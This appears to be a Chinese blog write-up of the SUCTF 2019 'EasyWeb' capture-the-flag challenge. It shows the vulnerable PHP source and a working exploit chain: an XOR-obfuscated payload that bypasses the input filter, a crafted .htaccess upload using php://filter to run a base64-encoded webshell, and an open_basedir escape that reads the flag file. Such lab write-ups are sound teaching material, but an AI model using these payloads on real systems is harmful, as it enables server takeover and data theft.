[SUCTF 2019]EasyWeb

补下一分题~

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}
 
$hhh = @$_GET['_'];
 
if (!$hhh){
    highlight_file(__FILE__);
}
 
if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}
 
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');
 
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
 
eval($hhh);

给了源码,审计下

有文件上传,但是过滤了.ph后缀,且文件中不能含有<?,否则就die

然后发现变量过滤了一吨,是真一吨。怎么绕过呢

fuzz发现剩下!#$%()*±/:;<>?@]^{},有^那就异或出一些字符吧

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

可以执行phpinfo

然后就可以调用get_the_flag()来到文件上传,我们可以通过上传.htaccess来解析其他文件

但是:htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效

在.htaccess前添加
#define width 1337
#define height 1337
#在.htaccess是注释符,所以.htaccess文件可以生效

这里的php是7.2的版本,无法使用
<script language=”php”>
</script>
来绕过对<?的检测

解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码

.htaccess

#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.abc"

然后上传base64后的一句话,即可getshell

上传shell成功后,有disable_function 蚁剑绕下

或者

a=ini_set(‘open_basedir’, ‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’, ‘/’);var_dump(show_source(‘/THis_Is_tHe_F14g’));

解法2:可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass

 

参考:https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/

http://chen.oinsm.com/2019/12/01/2019SUCTF-EasyWeb/

发表评论

邮箱地址不会被公开。 必填项已用*标注